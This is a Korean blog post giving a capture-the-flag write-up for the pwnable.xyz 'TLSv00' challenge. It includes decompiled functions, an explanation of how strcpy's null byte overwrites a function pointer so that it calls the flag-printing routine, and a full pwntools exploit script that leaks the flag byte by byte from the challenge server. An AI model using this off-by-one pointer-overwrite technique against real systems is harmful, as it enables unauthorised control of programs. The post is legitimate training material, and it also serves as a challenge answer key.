ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TLSv00 write up
    System hacking training/pwnable.xyz 2020. 5. 4. 17:18

    TLSv00 (100)
    prob
    file, checksec binary

    바이너리에 모든 메모리 보호기법이 적용되어있다.

     

    TLSv00을 풀이하기 위해서는 각각의 기능에 대해 조금은(?) 자세하게 알고있어야한다.

    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    {
      int idx; // eax@2
      int size; // ST0C_4@9
    
      setup();
      puts("Muahaha you thought I would never make a crypto chal?");
      generate_key(63u);
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            print_menu();
            printf("> ", argv);
            idx = read_int32();
            if ( idx != 2 )
              break;
            load_flag();
          }
          if ( idx > 2 )
            break;
          if ( idx != 1 )
            goto LABEL_12;
          printf("key len: ");
          size = read_int32();
          generate_key(size);
        }
        if ( idx == 3 )
        {
          print_flag();
        }
        else if ( idx != 4 )
        {
    LABEL_12:
          puts("Invalid");
        }
      }
    }

     main()함수는 다음과 같이 구성되어있고,

    루프에 돌기 전 setup(), generate_key()함수를 호출하여 세팅을 하고,

    무한루프를 돌며 if문의 조건에 따라 generate_key(), load_flag(), print_flag()함수로 분기한다.

     

    call generate_key()

    generate_key()함수는 그림과 같이 main()함수에서 두번 호출되는데,

    첫 번째 호출은 루프를 돌기 전, 이후는 사용자가 1을 입력했을 때 호출된다.

     

    사용자가 1을 입력할 경우 main()에서 read_int32()를 통해 size를 입력받고, generate_key()함수로 분기하는데,

    __int64 __fastcall generate_key(unsigned int size)
    {
      signed int idx; // [sp+18h] [bp-58h]@7
      int fd; // [sp+1Ch] [bp-54h]@4
      char buf[72]; // [sp+20h] [bp-50h]@4
      __int64 v5; // [sp+68h] [bp-8h]@1
    
      v5 = *MK_FP(__FS__, 40LL);
      if ( (signed int)size > 0 && size <= 64 )
      {
        memset(buf, 0, 72uLL);
        fd = open("/dev/urandom", 0);
        if ( fd == -1 )
        {
          puts("Can't open /dev/urandom");
          exit(1);
        }
        read(fd, buf, (signed int)size);
        for ( idx = 0; idx < (signed int)size; ++idx )
        {
          while ( !buf[idx] )
            read(fd, &buf[idx], 1uLL);
        }
        strcpy(key, buf);
        close(fd);
      }
      else
      {
        puts("Invalid key size");
      }
      return *MK_FP(__FS__, 40LL) ^ v5;
    }

    해당 함수에서는 사용자가 입력한 size가 0보다 크고, 64를 넘기지 않는 수 인지 검사하고,

    size가 1~64 사이의 값일때 해당 사이즈에 만족하는 랜덤값을 buf에 넣고, key에 strcpy()함수로 값복사를 한다.

     

    다음으로 main()으로 돌아와 2를 입력할 경우 load_flag()함수가 호출되는데,

    int load_flag()
    {
      unsigned int idx; // [sp+8h] [bp-8h]@4
      int fd; // [sp+Ch] [bp-4h]@1
    
      fd = open("/flag", 0);
      if ( fd == -1 )
      {
        puts("Can't open flag");
        exit(1);
      }
      read(fd, flag, 64uLL);
      for ( idx = 0; idx <= 63; ++idx )
        flag[idx] ^= key[idx];
      return close(fd);
    }

    load_flag()함수에서는 말 그대로 /flag파일에서 값을 읽어와 전역으로 선언된 flag배열에 key값과 xor하여 저장을 한다.

     

    마지막으로 다시 main()으로 돌아와서 3을 입력하면 print_flag()함수가 호출된다.

    int print_flag()
    {
      int result; // eax@1
    
      puts("WARNING: NOT IMPLEMENTED.");
      result = (unsigned __int8)do_comment;
      if ( !(_BYTE)do_comment )
      {
        printf("Wanna take a survey instead? ");
        if ( getchar() == 'y' )
          do_comment = (int (*)(void))f_do_comment;
        result = do_comment();
      }
      return result;
    }

    printf_flag()함수는 do_comment에 저장된 값을 result에 넣고, 만약 해당 변수에 값이 없을 경우 사용자로부터 입력을 받고, 입력 값이 'y'일 경우 f_do_comment()함수의 주소를 저장하게 된다.

     

    이후 해당 위치에 저장된 함수가 호출되게 된다.

    __int64 f_do_comment()
    {
      char buf; // [sp+10h] [bp-30h]@1
      __int64 v2; // [sp+38h] [bp-8h]@1
    
      v2 = *MK_FP(__FS__, 40LL);
      printf("Enter comment: ");
      read(0, &buf, 0x21uLL);
      return *MK_FP(__FS__, 40LL) ^ v2;
    }

    f_do_comment()함수에서는 buffer에 0x21만큼을 입력받는다.

    int real_print_flag()
    {
      return printf("%s", flag);
    }

    그리고 real_print_flag()라는 함수가 존재하는데, flag변수의 값을 %s로 출력해주는 역할을 한다.


    공격 시나리오는 다음과 같다.

     

    1. f_do_comment()함수의 주소를 가리키는 do_comment가 real_print_flag()함수의 주소를 가리키도록 변조한다.

    2. Re-generate key, Load flag, Print flag 기능을 이용하여 flag를 1byte씩 뽑아낸다.

     

    no input

    setup(), generate_key()함수를 거치고, main()함수 루프에 들어오게 되면

    다음과 같이 63byte의 난수가 key라는 변수에 저장되고

     

    input 3

    3번 메뉴를 실행한 뒤 'y'를 입력하면 다음과 같이 do_comment에 f_do_comment()함수의 주소가 저장되는데,

     

    offset f_do_comment() <-> real_print_flag()

    공교롭게도 real_print_flag()함수의 주소는 00으로 끝난다.

     

    전역변수인 key는 64byte 크기를 갖고 바로 뒤에 do_comment변수가 위치하게 되는데,

    generate_key()함수에서 보면 key를 저장할 때 strcpy()함수를 이용하여 저장을 한다.

     

    genrate_key()함수에서 read할 수 있는 size의 최대 크기는 64이고,

    strcpy()함수는 문자열 복사가 끝난 뒤 NULL byte를 넣음으로서 문자열의 끝임을 알리기 때문에

    generate_key()함수에 인자값으로 64를 입력하게 되면 do_comment가 가리키는 주소의 첫 번째 byte가 NULL byte로 Overwrite되게 된다.

     

    이를 통해 do_comment는 f_do_comment()함수의 주소가 아닌 real_print_flag()함수의 주소를 가리키게되고,

    사용자가 Print flag(input 3)을 진행하면 real_print_flag()함수가 호출되게 된다.

     

    key를 생성할 때 1부터 64까지 사용자가 직접 조절할 수 있고, generate_key()함수 내부에서 key에 값을 복사할 때 strcpy()함수를 사용함으로서 항상 문자열 끝에는 NULL byte가 붙을 것이다.

     

    이를 이용하면 plain 상태의 flag를 출력할 수 있는데, 과정은 다음과 같다.

     

    Re-generate key (1~64) -> Load flag -> Print flag

     

    generate_key()에 1byte의 key가 생성되면

     

    | 난수(1byte) | NULL (1byte) |

     

    위의 형태로 key가 세팅되고, 여기서 Load flag를 하게 되면

    해당 key와 flag값이 xor연산이 되어 flag라는 변수에 저장되게 되는데

     

    [value] xor 0

    0과 어떠한 수를 xor연산하더라도 원본 그대로를 출력한다.

    이 점을 이용하여 size를 1부터 64까지 조정하며 flag를 출력하면 된다.

    from pwn import *
    
    # p = process('./challenge')
    p = remote("svc.pwnable.xyz", 30006)
    
    # Step 1. f_do_comment() -> real_print_flag()
    
    # f_do_comment() -> real_print_flag()
    p.sendlineafter('> ', '3')
    p.sendlineafter('instead? ', 'y')
    p.sendlineafter('> ', '1')
    p.sendlineafter('len: ', '64')
    
    flag = ''
    
    for idx in range(1,63):
    	# input 1 ~ 64 : idx
    	p.sendlineafter('> ', '1')
    	p.sendlineafter('len: ', str(idx))
    
    	# load flag
    	p.sendlineafter('> ', '2')
    
    	# call real_print_flag()
    	p.sendlineafter('> ', '3')
    	p.sendlineafter('instead? ', 'a')
    
    	# print "RECV :", p.recv(64)[idx:idx+1]
    	flag += p.recv(64)[idx:idx+1]
    	print "RECV :F" + flag
    
    p.interactive()

    :)

    반응형

    'System hacking training > pwnable.xyz' 카테고리의 다른 글

    Free Spirit write up  (0) 2020.04.04
    two targets write up  (0) 2020.02.06
    xor write up  (0) 2020.02.05
    note write up  (1) 2020.01.10
    GrownUp write up  (0) 2020.01.02
Designed by Tistory.